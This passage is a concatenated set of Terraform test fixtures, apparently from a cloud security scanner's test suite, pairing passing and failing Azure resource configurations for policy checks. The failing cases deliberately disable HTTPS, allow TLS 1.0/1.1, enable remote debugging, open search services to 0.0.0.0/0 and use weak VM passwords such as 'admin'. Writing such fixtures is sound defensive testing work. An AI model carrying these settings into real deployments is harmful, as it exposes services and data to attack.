https_only = false #thedefault site_config { dotnet_framework_version = "v4.0" } app_settings = { "SOME_KEY" = "some-value" } connection_string { name = "Database" type = "SQLServer" value = "Server=some-server.mydomain.com;Integrated Security=SSPI" } } resource "azurerm_app_service_slot" "pass2" { name = "ted" app_service_name = azurerm_app_service.example.name location = azurerm_resource_group.example.location resource_group_name = azurerm_resource_group.example.name app_service_plan_id = azurerm_app_service_plan.example.id https_only = false #thedefault site_config { dotnet_framework_version = "v4.0" min_tls_version = "1.2" #the default is 1.2 remote_debugging_enabled = false #default is false } app_settings = { "SOME_KEY" = "some-value" } connection_string { name = "Database" type = "SQLServer" value = "Server=some-server.mydomain.com;Integrated Security=SSPI" } } resource "azurerm_resource_group" "example" { name = "example" location = "uksouth" } resource "azurerm_app_service_plan" "example" { sku { tier = "free" size = "small" } location = azurerm_resource_group.example.location resource_group_name = azurerm_resource_group.example.name name = "example" } resource "azurerm_app_service" "example" { name = "simon" app_service_plan_id = azurerm_app_service_plan.example.id location = azurerm_resource_group.example.location resource_group_name = azurerm_resource_group.example.name } provider "azurerm" { features {} } ================================================ FILE: tests/terraform/checks/resource/azure/example_AppServiceSlotHTTPSOnly/main.tf ================================================ resource "azurerm_app_service_slot" "fail" { name = random_id.server.hex app_service_name = azurerm_app_service.example.name location = azurerm_resource_group.example.location resource_group_name = azurerm_resource_group.example.name app_service_plan_id = azurerm_app_service_plan.example.id https_only = false #thedefault min_tls_version = "1.1" #the default is 1.2 remote_debugging_enabled = true #default is false site_config { dotnet_framework_version = "v4.0" } app_settings = { "SOME_KEY" = "some-value" } connection_string { name = "Database" type = "SQLServer" value = "Server=some-server.mydomain.com;Integrated Security=SSPI" } } resource "azurerm_linux_web_app_slot" "fail" { name = "fail-slot" app_service_id = azurerm_linux_web_app.fail.id https_only = false site_config {} } resource "azurerm_windows_web_app_slot" "fail" { name = "fail-slot" app_service_id = azurerm_windows_web_app.fail.id https_only = false site_config {} } resource "azurerm_app_service_slot" "fail2" { name = random_id.server.hex app_service_name = azurerm_app_service.example.name location = azurerm_resource_group.example.location resource_group_name = azurerm_resource_group.example.name app_service_plan_id = azurerm_app_service_plan.example.id # https_only = false #thedefault min_tls_version = "1.1" #the default is 1.2 remote_debugging_enabled = true #default is false site_config { dotnet_framework_version = "v4.0" } app_settings = { "SOME_KEY" = "some-value" } connection_string { name = "Database" type = "SQLServer" value = "Server=some-server.mydomain.com;Integrated Security=SSPI" } } resource "azurerm_app_service_slot" "pass" { name = random_id.server.hex app_service_name = azurerm_app_service.example.name location = azurerm_resource_group.example.location resource_group_name = azurerm_resource_group.example.name app_service_plan_id = azurerm_app_service_plan.example.id https_only = true #thedefault min_tls_version = "1.1" #the default is 1.2 remote_debugging_enabled = true #default is false site_config { dotnet_framework_version = "v4.0" } app_settings = { "SOME_KEY" = "some-value" } connection_string { name = "Database" type = "SQLServer" value = "Server=some-server.mydomain.com;Integrated Security=SSPI" } } resource "azurerm_linux_web_app_slot" "pass" { name = "pass-slot" app_service_id = azurerm_linux_web_app.pass.id https_only = true site_config {} } resource "azurerm_windows_web_app_slot" "pass" { name = "pass-slot" app_service_id = azurerm_windows_web_app.pass.id https_only = true site_config {} } ================================================ FILE: tests/terraform/checks/resource/azure/example_AppServiceSlotMinTLS/main.tf ================================================ resource "azurerm_app_service_slot" "fail" { name = "brian" app_service_name = azurerm_app_service.example.name location = azurerm_resource_group.example.location resource_group_name = azurerm_resource_group.example.name app_service_plan_id = azurerm_app_service_plan.example.id https_only = false #thedefault site_config { dotnet_framework_version = "v4.0" min_tls_version = "1.1" remote_debugging_enabled = true } app_settings = { "SOME_KEY" = "some-value" } connection_string { name = "Database" type = "SQLServer" value = "Server=some-server.mydomain.com;Integrated Security=SSPI" } } #default resource "azurerm_app_service_slot" "pass" { name = "fred" app_service_name = azurerm_app_service.example.name location = azurerm_resource_group.example.location resource_group_name = azurerm_resource_group.example.name app_service_plan_id = azurerm_app_service_plan.example.id https_only = false #thedefault site_config { dotnet_framework_version = "v4.0" remote_debugging_enabled = true #default is false } app_settings = { "SOME_KEY" = "some-value" } connection_string { name = "Database" type = "SQLServer" value = "Server=some-server.mydomain.com;Integrated Security=SSPI" } } resource "azurerm_app_service_slot" "pass2" { name = "ted" app_service_name = azurerm_app_service.example.name location = azurerm_resource_group.example.location resource_group_name = azurerm_resource_group.example.name app_service_plan_id = azurerm_app_service_plan.example.id https_only = false #thedefault site_config { dotnet_framework_version = "v4.0" min_tls_version = "1.2" #the default is 1.2 remote_debugging_enabled = true #default is false } app_settings = { "SOME_KEY" = "some-value" } connection_string { name = "Database" type = "SQLServer" value = "Server=some-server.mydomain.com;Integrated Security=SSPI" } } resource "azurerm_app_service_slot" "pass3" { name = "ned" app_service_name = azurerm_app_service.example.name location = azurerm_resource_group.example.location resource_group_name = azurerm_resource_group.example.name app_service_plan_id = azurerm_app_service_plan.example.id https_only = false #thedefault site_config { dotnet_framework_version = "v4.0" min_tls_version = "1.3" #the default is 1.2 remote_debugging_enabled = true #default is false } app_settings = { "SOME_KEY" = "some-value" } connection_string { name = "Database" type = "SQLServer" value = "Server=some-server.mydomain.com;Integrated Security=SSPI" } } resource "azurerm_resource_group" "example" { name = "example" location = "uksouth" } resource "azurerm_app_service_plan" "example" { sku { tier = "free" size = "small" } location = azurerm_resource_group.example.location resource_group_name = azurerm_resource_group.example.name name = "example" } resource "azurerm_app_service" "example" { name = "simon" app_service_plan_id = azurerm_app_service_plan.example.id location = azurerm_resource_group.example.location resource_group_name = azurerm_resource_group.example.name } provider "azurerm" { features {} } ================================================ FILE: tests/terraform/checks/resource/azure/example_AppServiceUsedAzureFiles/main.tf ================================================ resource "azurerm_app_service" "fail2" { name = "example-app-service" location = azurerm_resource_group.example.location resource_group_name = azurerm_resource_group.example.name app_service_plan_id = azurerm_app_service_plan.example.id https_only = true storage_account { name = "test_name" type = "AzureBlob" account_name = "test_account_name" share_name = "test_share_name" access_key = "test_access_key" } } resource "azurerm_app_service" "pass" { name = "example-app-service" location = azurerm_resource_group.example.location resource_group_name = azurerm_resource_group.example.name app_service_plan_id = azurerm_app_service_plan.example.id https_only = true storage_account { name = "test_name" type = "AzureFiles" account_name = "test_account_name" share_name = "test_share_name" access_key = "test_access_key" } } resource "azurerm_app_service" "fail" { name = "example-app-service" location = azurerm_resource_group.example.location resource_group_name = azurerm_resource_group.example.name app_service_plan_id = azurerm_app_service_plan.example.id https_only = true site_config { scm_type = "someValue" } } resource "azurerm_linux_web_app" "pass" { name = "example" resource_group_name = azurerm_resource_group.example.name location = azurerm_service_plan.example.location service_plan_id = azurerm_service_plan.example.id https_only = true site_config { http2_enabled = true } identity { type = "SystemAssigned" } site_config { minimum_tls_version = "1.2" } storage_account { name = "test_name" type = "AzureFiles" account_name = "test_account_name" share_name = "test_share_name" access_key = "test_access_key" } } resource "azurerm_linux_web_app" "fail" { name = "example" resource_group_name = azurerm_resource_group.example.name location = azurerm_service_plan.example.location service_plan_id = azurerm_service_plan.example.id site_config { http2_enabled = false minimum_tls_version = "1.1" } } resource "azurerm_windows_web_app" "pass" { name = "example" resource_group_name = azurerm_resource_group.example.name location = azurerm_service_plan.example.location service_plan_id = azurerm_service_plan.example.id https_only = true site_config { http2_enabled = true minimum_tls_version = "1.2" } identity { type = "SystemAssigned" } storage_account { name = "test_name" type = "AzureFiles" account_name = "test_account_name" share_name = "test_share_name" access_key = "test_access_key" } } resource "azurerm_windows_web_app" "fail" { name = "example" resource_group_name = azurerm_resource_group.example.name location = azurerm_service_plan.example.location service_plan_id = azurerm_service_plan.example.id site_config { http2_enabled = false minimum_tls_version = "1.1" } } ================================================ FILE: tests/terraform/checks/resource/azure/example_AzureBatchAccountEndpointAccessDefaultAction/main.tf ================================================ #pass resource "azurerm_batch_account" "pass_no_publicNetworkAccess" { name = "testbatchaccount" resource_group_name = "group" location = "azurerm_resource_group.example.location" pool_allocation_mode = "BatchService" } resource "azurerm_batch_account" "pass_publicNetworkAccess_disabled" { name = "testbatchaccount" resource_group_name = "group" location = "azurerm_resource_group.example.location" pool_allocation_mode = "BatchService" public_network_access_enabled = false } resource "azurerm_batch_account" "pass_publicNetworkAccess_enabled_no_network_profile" { name = "testbatchaccount" resource_group_name = "group" location = "azurerm_resource_group.example.location" pool_allocation_mode = "BatchService" public_network_access_enabled = true } resource "azurerm_batch_account" "pass_publicNetworkAccess_enabled_no_account_access" { name = "testbatchaccount" resource_group_name = "group" location = "azurerm_resource_group.example.location" pool_allocation_mode = "BatchService" public_network_access_enabled = true network_profile { } } resource "azurerm_batch_account" "pass_publicNetworkAccess_enabled_default_action_deny" { name = "testbatchaccount" resource_group_name = "group" location = "azurerm_resource_group.example.location" pool_allocation_mode = "BatchService" public_network_access_enabled = true network_profile { account_access { default_action = "deny" } } } resource "azurerm_batch_account" "fail_publicNetworkAccess_enabled_default_action_allow" { name = "testbatchaccount" resource_group_name = "group" location = "azurerm_resource_group.example.location" pool_allocation_mode = "BatchService" public_network_access_enabled = true network_profile { account_access { default_action = "allow" } } } resource "azurerm_batch_account" "fail_bad_default_action_no_public_network" { name = "testbatchaccount" resource_group_name = "group" location = "azurerm_resource_group.example.location" pool_allocation_mode = "BatchService" network_profile { account_access { default_action = "allow" } } } ================================================ FILE: tests/terraform/checks/resource/azure/example_AzureContainerGroupDeployedIntoVirtualNetwork/main.tf ================================================ resource "azurerm_container_group" "fail" { name = "example-continst" location = azurerm_resource_group.example.location resource_group_name = azurerm_resource_group.example.name ip_address_type = "public" dns_name_label = "aci-label" os_type = "Linux" container { name = "hello-world" image = "microsoft/aci-helloworld:latest" cpu = "0.5" memory = "1.5" ports { port = 443 protocol = "TCP" } } container { name = "sidecar" image = "microsoft/aci-tutorial-sidecar" cpu = "0.5" memory = "1.5" } } resource "azurerm_container_group" "pass" { name = "example-continst" location = azurerm_resource_group.example.location resource_group_name = azurerm_resource_group.example.name ip_address_type = "public" dns_name_label = "aci-label" os_type = "Linux" container { name = "hello-world" image = "microsoft/aci-helloworld:latest" cpu = "0.5" memory = "1.5" ports { port = 443 protocol = "TCP" } } container { name = "sidecar" image = "microsoft/aci-tutorial-sidecar" cpu = "0.5" memory = "1.5" } subnet_ids=[module.subnets["snet_aci"].id] } ================================================ FILE: tests/terraform/checks/resource/azure/example_AzureContainerInstanceEnvVarSecureValueType/main.tf ================================================ # Variables declaration: variable "pud_default_var" { default = "pud_default_value" } resource "random_string" "pud-random-str" { length = 10 special = false numeric = false } # Case 1: Pass: 'secure_environment_variables' exists in 'container' block and just 'environment_variables' doesn't exist resource "azurerm_container_group" "pass_1" { name = "pud_pass_1_container" location = var.pud_default_var resource_group_name = var.pud_default_var ip_address_type = "Public" dns_name_label = "aci-label" os_type = "Linux" container { name = "hello-world" image = "mcr.microsoft.com/azuredocs/aci-helloworld:latest" cpu = "0.5" memory = "1.5" ports { port = 443 protocol = "TCP" } } container { name = "een_le_pa" image = "mcr.microsoft.com/azuredocs/aci-tutorial-sidecar" cpu = "0.5" memory = "1.5" secure_environment_variables = { SEC_CONT_PASS_1 = random_string.pud-random-str } } } # case 2: Pass: No environment variables exists resource "azurerm_container_group" "pass_2" { name = "pud_pass_2_container" location = "westus2" resource_group_name = var.pud_default_var os_type = "Linux" init_container { name = "init-container" image = "init-image:latest" cpu = 0.5 memory = 512 } } # Case 3: Fail: 'environment_variables' exists in 'init_container' block resource "azurerm_container_group" "fail_1" { name = "pud_fail_1_container" location = "westus2" resource_group_name = var.pud_default_var os_type = "Linux" init_container { name = "init-container" image = "init-image:latest" cpu = 0.5 memory = 512 environment_variables = { ENV_INIT_FAIL_1 = random_string.pud-random-str } secure_environment_variables = { SEC_INIT_FAIL_1 = random_string.pud-random-str } } } # Case 4: Fail: 'environment_variables' exists in 'container' block resource "azurerm_container_group" "fail_2" { name = "pud_pass_2_container" location = "westus2" resource_group_name = var.pud_default_var os_type = "Linux" init_container { name = "pud-init-container" image = "init-image:latest" cpu = 0.5 memory = 512 secure_environment_variables = { SEC_INIT_FAIL_2 = random_string.pud-random-str } } container { name = "pud-container" image = "my-image:latest" cpu = 1 memory = 1024 ports { port = 80 protocol = "TCP" } environment_variables = { ENV_CONT_FAIL_2 = random_string.pud-random-str } } } ================================================ FILE: tests/terraform/checks/resource/azure/example_AzureContainerInstancePublicIPAddressType/main.tf ================================================ # Fail: public IP address type resource "azurerm_container_group" "fail_public" { name = "example-continst" ip_address_type = "Public" } # Fail: IP address type not set resource "azurerm_container_group" "fail_notset" { name = "example-continst" } # Pass: IP address type not public resource "azurerm_container_group" "pass" { name = "example-continst" ip_address_type = "Private" } ================================================ FILE: tests/terraform/checks/resource/azure/example_AzureDefenderDisabledForResManager/main.tf ================================================ # Case 1: Pass: tier is Standard and resource_type is Arm resource "azurerm_security_center_subscription_pricing" "pass_1" { tier = "Standard" resource_type = "Arm" } # Case 2: Fails as "tier" should be "Standard" resource "azurerm_security_center_subscription_pricing" "fail_1" { tier = "Free" resource_type = "arm" } # Case 3: Pass as policy should only check if the resource_type is "Arm" resource "azurerm_security_center_subscription_pricing" "pass_2" { tier = "Free" resource_type = "Dns" } # Case 4: Pass as policy should only check if the resource_type is "Arm" resource "azurerm_security_center_subscription_pricing" "pass_3" { tier = "Free" resource_type = "VirtualMachine" } ================================================ FILE: tests/terraform/checks/resource/azure/example_AzureFirewallDefinesPolicy/main.tf ================================================ resource "azurerm_resource_group" "example" { name = "example-resources" location = "West Europe" } resource "azurerm_virtual_network" "example" { name = "testvnet" address_space = ["10.0.0.0/16"] location = azurerm_resource_group.example.location resource_group_name = azurerm_resource_group.example.name } resource "azurerm_subnet" "example" { name = "AzureFirewallSubnet" resource_group_name = azurerm_resource_group.example.name virtual_network_name = azurerm_virtual_network.example.name address_prefixes = ["10.0.1.0/24"] } resource "azurerm_public_ip" "example" { name = "testpip" location = azurerm_resource_group.example.location resource_group_name = azurerm_resource_group.example.name allocation_method = "Static" sku = "Standard" } resource "azurerm_firewall" "fail" { name = "fail" location = azurerm_resource_group.example.location resource_group_name = azurerm_resource_group.example.name sku_name = "AZFW_VNet" sku_tier = "Standard" ip_configuration { name = "configuration" subnet_id = azurerm_subnet.example.id public_ip_address_id = azurerm_public_ip.example.id } } resource "azurerm_firewall" "pass" { name = "pass" location = azurerm_resource_group.example.location resource_group_name = azurerm_resource_group.example.name sku_name = "AZFW_VNet" sku_tier = "Standard" ip_configuration { name = "configuration" subnet_id = azurerm_subnet.example.id public_ip_address_id = azurerm_public_ip.example.id } firewall_policy_id = "SomethingInhere" } ================================================ FILE: tests/terraform/checks/resource/azure/example_AzureFirewallDenyThreatIntelMode/main.tf ================================================ resource "azurerm_resource_group" "example" { name = "CKV_AZURE_216" location = "West Europe" } resource "azurerm_virtual_network" "example" { name = "testvnet" address_space = ["10.0.0.0/16"] location = azurerm_resource_group.example.location resource_group_name = azurerm_resource_group.example.name } resource "azurerm_subnet" "example" { name = "AzureFirewallSubnet" resource_group_name = azurerm_resource_group.example.name virtual_network_name = azurerm_virtual_network.example.name address_prefixes = ["10.0.1.0/24"] } resource "azurerm_public_ip" "example" { name = "testpip" location = azurerm_resource_group.example.location resource_group_name = azurerm_resource_group.example.name allocation_method = "Static" sku = "Standard" } resource "azurerm_firewall" "fail" { name = "fail" location = azurerm_resource_group.example.location resource_group_name = azurerm_resource_group.example.name sku_name = "AZFW_VNet" sku_tier = "Standard" ip_configuration { name = "configuration" subnet_id = azurerm_subnet.example.id public_ip_address_id = azurerm_public_ip.example.id } } resource "azurerm_firewall" "fail2" { name = "fail2" location = azurerm_resource_group.example.location resource_group_name = azurerm_resource_group.example.name sku_name = "AZFW_VNet" sku_tier = "Standard" threat_intel_mode = "Off" ip_configuration { name = "configuration" subnet_id = azurerm_subnet.example.id public_ip_address_id = azurerm_public_ip.example.id } } resource "azurerm_firewall" "pass" { name = "pass" location = azurerm_resource_group.example.location resource_group_name = azurerm_resource_group.example.name sku_name = "AZFW_VNet" sku_tier = "Standard" threat_intel_mode = "Deny" ip_configuration { name = "configuration" subnet_id = azurerm_subnet.example.id public_ip_address_id = azurerm_public_ip.example.id } } provider "azurerm" { features {} } ================================================ FILE: tests/terraform/checks/resource/azure/example_AzureFirewallPolicyIDPSDeny/main.tf ================================================ resource "azurerm_resource_group" "example" { name = "example-resources" location = "West Europe" } resource "azurerm_firewall_policy" "fail" { name = "fail" resource_group_name = azurerm_resource_group.example.name location = azurerm_resource_group.example.location } resource "azurerm_firewall_policy" "fail2" { name = "fail2" resource_group_name = azurerm_resource_group.example.name location = azurerm_resource_group.example.location intrusion_detection { mode = "Off" } } resource "azurerm_firewall_policy" "pass" { name = "pass" resource_group_name = azurerm_resource_group.example.name location = azurerm_resource_group.example.location intrusion_detection { mode = "Deny" } } ================================================ FILE: tests/terraform/checks/resource/azure/example_AzureFrontDoorEnablesWAF/main.tf ================================================ resource "azurerm_frontdoor" "pass" { name = "example-FrontDoor" resource_group_name = azurerm_resource_group.example.name routing_rule { name = "exampleRoutingRule1" accepted_protocols = ["Http", "Https"] patterns_to_match = ["/*"] frontend_endpoints = ["exampleFrontendEndpoint1"] forwarding_configuration { forwarding_protocol = "MatchRequest" backend_pool_name = "exampleBackendBing" } } backend_pool_load_balancing { name = "exampleLoadBalancingSettings1" } backend_pool_health_probe { name = "exampleHealthProbeSetting1" } backend_pool { name = "exampleBackendBing" backend { host_header = "www.bing.com" address = "www.bing.com" http_port = 80 https_port = 443 } load_balancing_name = "exampleLoadBalancingSettings1" health_probe_name = "exampleHealthProbeSetting1" } frontend_endpoint { name = "exampleFrontendEndpoint1" host_name = "example-FrontDoor.azurefd.net" web_application_firewall_policy_link_id = azurerm_frontdoor_firewall_policy.test.id } } resource "azurerm_frontdoor" "fail" { name = "example-FrontDoor" resource_group_name = azurerm_resource_group.example.name routing_rule { name = "exampleRoutingRule1" accepted_protocols = ["Http", "Https"] patterns_to_match = ["/*"] frontend_endpoints = ["exampleFrontendEndpoint1"] forwarding_configuration { forwarding_protocol = "MatchRequest" backend_pool_name = "exampleBackendBing" } } backend_pool_load_balancing { name = "exampleLoadBalancingSettings1" } backend_pool_health_probe { name = "exampleHealthProbeSetting1" } backend_pool { name = "exampleBackendBing" backend { host_header = "www.bing.com" address = "www.bing.com" http_port = 80 https_port = 443 } load_balancing_name = "exampleLoadBalancingSettings1" health_probe_name = "exampleHealthProbeSetting1" } frontend_endpoint { name = "exampleFrontendEndpoint1" host_name = "example-FrontDoor.azurefd.net" } } ================================================ FILE: tests/terraform/checks/resource/azure/example_AzureInstanceExtensions/main.tf ================================================ # pass resource "azurerm_linux_virtual_machine" "disabled" { admin_password = "@Admin123" admin_username = "admin123" location = azurerm_resource_group.test.location name = "linux-vm" resource_group_name = azurerm_resource_group.test.name size = "balls" source_image_reference { publisher = "Canonical" offer = "0001-com-ubuntu-server-focal" sku = "20_04-lts" version = "latest" } network_interface_ids = [ azurerm_network_interface.test.id ] os_disk { caching = "ReadWrite" storage_account_type = "Standard_LRS" } allow_extension_operations = false } resource "azurerm_windows_virtual_machine" "disabled" { admin_password = "admin" admin_username = "admin123" location = azurerm_resource_group.test.location name = "win-vm" resource_group_name = azurerm_resource_group.test.name size = "Standard_F2" network_interface_ids = [ "azurerm_network_interface.test.id" ] os_disk { caching = "ReadWrite" storage_account_type = "Standard_LRS" } allow_extension_operations = false } ## fail resource "azurerm_linux_virtual_machine" "default" { admin_password = "admin" admin_username = "admin123" location = azurerm_resource_group.test.location name = "linux-vm" resource_group_name = azurerm_resource_group.test.name size = "Standard_F2" network_interface_ids = [ azurerm_network_interface.test.id ] os_disk { caching = "ReadWrite" storage_account_type = "Standard_LRS" } } resource "azurerm_linux_virtual_machine" "enabled" { admin_password = "admin" admin_username = "admin123" location = azurerm_resource_group.test.location name = "linux-vm" resource_group_name = azurerm_resource_group.test.name size = "Standard_F2" network_interface_ids = [ azurerm_network_interface.test.id ] os_disk { caching = "ReadWrite" storage_account_type = "Standard_LRS" } allow_extension_operations = true } resource "azurerm_windows_virtual_machine" "default" { admin_password = "admin" admin_username = "admin123" location = azurerm_resource_group.test.location name = "win-vm" resource_group_name = azurerm_resource_group.test.name size = "Standard_F2" network_interface_ids = [ azurerm_network_interface.test.id ] os_disk { caching = "ReadWrite" storage_account_type = "Standard_LRS" } } resource "azurerm_windows_virtual_machine" "enabled" { admin_password = "admin" admin_username = "admin123" location = azurerm_resource_group.test.location name = "win-vm" resource_group_name = azurerm_resource_group.test.name size = "Standard_F2" network_interface_ids = [ azurerm_network_interface.test.id ] os_disk { caching = "ReadWrite" storage_account_type = "Standard_LRS" } allow_extension_operations = true } resource "azurerm_resource_group" "test" { name="test" location="uk south" } resource "azurerm_network_interface" "test" { location = azurerm_resource_group.test.location name = "test" resource_group_name = azurerm_resource_group.test.name ip_configuration { name = "internal" private_ip_address_allocation = "Dynamic" } } provider "azurerm" { features{} } ================================================ FILE: tests/terraform/checks/resource/azure/example_AzureManagedDiskEncryption/main.tf ================================================ resource "azurerm_managed_disk" "fail" { name = var.disk_name location = var.location resource_group_name = var.resource_group_name storage_account_type = var.storage_account_type create_option = "Empty" disk_size_gb = var.disk_size_gb encryption_settings { enabled = false } tags = var.common_tags } resource "azurerm_managed_disk" "fail2" { name = "acctestmd" location = "West US 2" resource_group_name = azurerm_resource_group.example.name storage_account_type = "Standard_LRS" create_option = "Empty" disk_size_gb = "1" encryption_settings = { enabled = false } tags = { environment = "staging" } } resource "azurerm_managed_disk" "pass3" { name = var.disk_name location = var.location resource_group_name = var.resource_group_name storage_account_type = var.storage_account_type create_option = "Empty" disk_size_gb = var.disk_size_gb tags = var.common_tags } resource "azurerm_managed_disk" "pass2" { name = var.disk_name location = var.location resource_group_name = var.resource_group_name storage_account_type = var.storage_account_type create_option = "Empty" disk_size_gb = var.disk_size_gb encryption_settings { enabled = true } tags = var.common_tags } resource "azurerm_managed_disk" "pass" { name = "acctestmd1" location = "West US 2" resource_group_name = azurerm_resource_group.example.name storage_account_type = "Standard_LRS" create_option = "Empty" disk_size_gb = "1" disk_encryption_set_id = var.encryption_set_id tags = { environment = "staging" } } ================================================ FILE: tests/terraform/checks/resource/azure/example_AzureManagedDiskEncryptionSet/main.tf ================================================ resource "azurerm_managed_disk" "fail" { name = "acctestmd1" location = "West US 2" resource_group_name = azurerm_resource_group.example.name storage_account_type = "Standard_LRS" create_option = "Empty" disk_size_gb = "1" tags = { environment = "staging" } } resource "azurerm_managed_disk" "pass" { name = "acctestmd1" location = "West US 2" resource_group_name = azurerm_resource_group.example.name storage_account_type = "Standard_LRS" create_option = "Empty" disk_size_gb = "1" disk_encryption_set_id = "koko" tags = { environment = "staging" } } resource "azurerm_resource_group" "example" { location = "West US 2" name = "pike-us" } provider "azurerm" { features{} } ================================================ FILE: tests/terraform/checks/resource/azure/example_AzureSearchAllowedIPsNotGlobal/main.tf ================================================ # pass resource "azurerm_search_service" "default" { name = "example-search-service" resource_group_name = azurerm_resource_group.example.name location = azurerm_resource_group.example.location sku = "standard" } resource "azurerm_search_service" "private" { name = "example-search-service" resource_group_name = azurerm_resource_group.example.name location = azurerm_resource_group.example.location sku = "standard" allowed_ips = ["10.0.0.0/16"] } # fail resource "azurerm_search_service" "public" { name = "example-search-service" resource_group_name = azurerm_resource_group.example.name location = azurerm_resource_group.example.location sku = "standard" allowed_ips = ["0.0.0.0/0"] } ================================================ FILE: tests/terraform/checks/resource/azure/example_AzureSearchManagedIdentity/main.tf ================================================ resource "azurerm_search_service" "fail" { name = "example-search-service" resource_group_name = azurerm_resource_group.example.name location = azurerm_resource_group.example.location sku = "standard" public_network_access_enabled = true } resource "azurerm_search_service" "pass" { name = "example-search-service" resource_group_name = azurerm_resource_group.example.name location = azurerm_resource_group.example.location sku = "standard" public_network_access_enabled = false identity { type = "SystemAssigned" } } ================================================ FILE: tests/terraform/checks/resource/azure/example_AzureSearchPublicNetworkAccessDisabled/main.tf ================================================ resource "azurerm_search_service" "fail" { name = "example-search-service" resource_group_name = azurerm_resource_group.example.name location = azurerm_resource_group.example.location sku = "standard" public_network_access_enabled = true } resource "azurerm_search_service" "fail2" { name = "example-search-service" resource_group_name = azurerm_resource_group.example.name location = azurerm_resource_group.example.location sku = "standard" } resource "azurerm_search_service" "pass" { name = "example-search-service" resource_group_name = azurerm_resource_group.example.name location = azurerm_resource_group.example.location sku = "standard" public_network_access_enabled = false } ================================================ FILE: tests/terraform/checks/resource/azure/example_AzureSearchSLAIndex/main.tf ================================================ resource "azurerm_search_service" "fail" { name = "example-search-service" resource_group_name = azurerm_resource_group.example.name location = azurerm_resource_group.example.location sku = "standard" public_network_access_enabled = true } resource "azurerm_search_service" "fail2" { name = "example-search-service" resource_group_name = azurerm_resource_group.example.name location = azurerm_resource_group.example.location sku = "standard" replica_count = 2 } resource "azurerm_search_service" "pass" { name = "example-search-service" resource_group_name = azurerm_resource_group.example.name location = azurerm_resource_group.example.location sku = "standard" public_network_access_enabled = false replica_count = 3 } ================================================ FILE: tests/terraform/checks/resource/azure/example_AzureSearchSLAQueryUpdates/main.tf ================================================ resource "azurerm_search_service" "fail" { name = "example-search-service" resource_group_name = azurerm_resource_group.example.name location = azurerm_resource_group.example.location sku = "standard" public_network_access_enabled = true } resource "azurerm_search_service" "fail2" { name = "example-search-service" resource_group_name = azurerm_resource_group.example.name location = azurerm_resource_group.example.location sku = "standard" replica_count = 1 } resource "azurerm_search_service" "pass" { name = "example-search-service" resource_group_name = azurerm_resource_group.example.name location = azurerm_resource_group.example.location sku = "standard" public_network_access_enabled = false replica_count = 2 } ================================================ FILE: tests/terraform/checks/resource/azure/example_AzureServicebusDoubleEncryptionEnabled/main.tf ================================================ resource "azurerm_servicebus_namespace" "pass" { name = "tfex-servicebus-namespace" location = azurerm_resource_group.example.location resource_group_name = azurerm_resource_group.example.name sku = "Standard" customer_managed_key { identity_id = "12345" key_vault_key_id = "yadaya" infrastructure_encryption_enabled = true } tags = { source = "terraform" } } resource "azurerm_servicebus_namespace" "fail" { name = "tfex-servicebus-namespace" location = azurerm_resource_group.example.location resource_group_name = azurerm_resource_group.example.name sku = "Standard" customer_managed_key { identity_id = "12345" key_vault_key_id = "yadaya" } tags = { source = "terraform" } } resource "azurerm_servicebus_namespace" "fail2" { name = "tfex-servicebus-namespace" location = azurerm_resource_group.example.location resource_group_name = azurerm_resource_group.example.name sku = "Standard" customer_managed_key { identity_id = "12345" key_vault_key_id = "yadaya" infrastructure_encryption_enabled = false } tags = { source = "terraform" } } ================================================ FILE: tests/terraform/checks/resource/azure/example_AzureServicebusHasCMK/main.tf ================================================ resource "azurerm_servicebus_namespace" "pass" { name = "tfex-servicebus-namespace" location = azurerm_resource_group.example.location resource_group_name = azurerm_resource_group.example.name sku = "Standard" customer_managed_key { identity_id = "12345" key_vault_key_id = "yadaya" infrastructure_encryption_enabled = true } tags = { source = "terraform" } } resource "azurerm_servicebus_namespace" "fail" { name = "tfex-servicebus-namespace" location = azurerm_resource_group.example.location resource_group_name = azurerm_resource_group.example.name sku = "Standard" tags = { source = "terraform" } } ================================================ FILE: tests/terraform/checks/resource/azure/example_AzureServicebusIdentityProviderEnabled/main.tf ================================================ resource "azurerm_servicebus_namespace" "pass" { name = "tfex-servicebus-namespace" location = azurerm_resource_group.example.location resource_group_name = azurerm_resource_group.example.name sku = "Standard" minimum_tls_version="1.2" customer_managed_key { identity_id = "12345" key_vault_key_id = "yadaya" infrastructure_encryption_enabled = true } identity { type = "SystemAssigned" } local_auth_enabled = false tags = { source = "terraform" } } resource "azurerm_servicebus_namespace" "fail" { name = "tfex-servicebus-namespace" location = azurerm_resource_group.example.location resource_group_name = azurerm_resource_group.example.name sku = "Standard" minimum_tls_version="1.0" tags = { source = "terraform" } } ================================================ FILE: tests/terraform/checks/resource/azure/example_AzureServicebusLocalAuthDisabled/main.tf ================================================ resource "azurerm_servicebus_namespace" "pass" { name = "tfex-servicebus-namespace" location = azurerm_resource_group.example.location resource_group_name = azurerm_resource_group.example.name sku = "Standard" local_auth_enabled = false customer_managed_key { identity_id = "12345" key_vault_key_id = "yadaya" infrastructure_encryption_enabled = true } identity { type = "SystemAssigned" } tags = { source = "terraform" } } resource "azurerm_servicebus_namespace" "fail" { name = "tfex-servicebus-namespace" location = azurerm_resource_group.example.location resource_group_name = azurerm_resource_group.example.name sku = "Standard" tags = { source = "terraform" } } resource "azurerm_servicebus_namespace" "fail2" { name = "tfex-servicebus-namespace" location = azurerm_resource_group.example.location resource_group_name = azurerm_resource_group.example.name sku = "Standard" local_auth_enabled = true tags = { source = "terraform" } } ================================================ FILE: tests/terraform/checks/resource/azure/example_AzureServicebusMinTLSVersion/main.tf ================================================ resource "azurerm_servicebus_namespace" "pass" { name = "tfex-servicebus-namespace" location = azurerm_resource_group.example.location resource_group_name = azurerm_resource_group.example.name sku = "Standard" minimum_tls_version="1.2" customer_managed_key { identity_id = "12345" key_vault_key_id = "yadaya" infrastructure_encryption_enabled = true } identity { type = "SystemAssigned" } local_auth_enabled = false tags = { source = "terraform" } } resource "azurerm_servicebus_namespace" "fail" { name = "tfex-servicebus-namespace" location = azurerm_resource_group.example.location resource_group_name = azurerm_resource_group.example.name sku = "Standard" tags = { source = "terraform" } } resource "azurerm_servicebus_namespace" "fail2" { name = "tfex-servicebus-namespace" location = azurerm_resource_group.example.location resource_group_name = azurerm_resource_group.example.name sku = "Standard" local_auth_enabled = true minimum_tls_version="1.0" tags = { source = "terraform" } } ================================================ FILE: tests/terraform/checks/resource/azure/example_AzureServicebusPublicAccessDisabled/main.tf ================================================ resource "azurerm_servicebus_namespace" "pass" { name = "tfex-servicebus-namespace" location = azurerm_resource_group.example.location resource_group_name = azurerm_resource_group.example.name sku = "Standard" minimum_tls_version="1.2" customer_managed_key { identity_id = 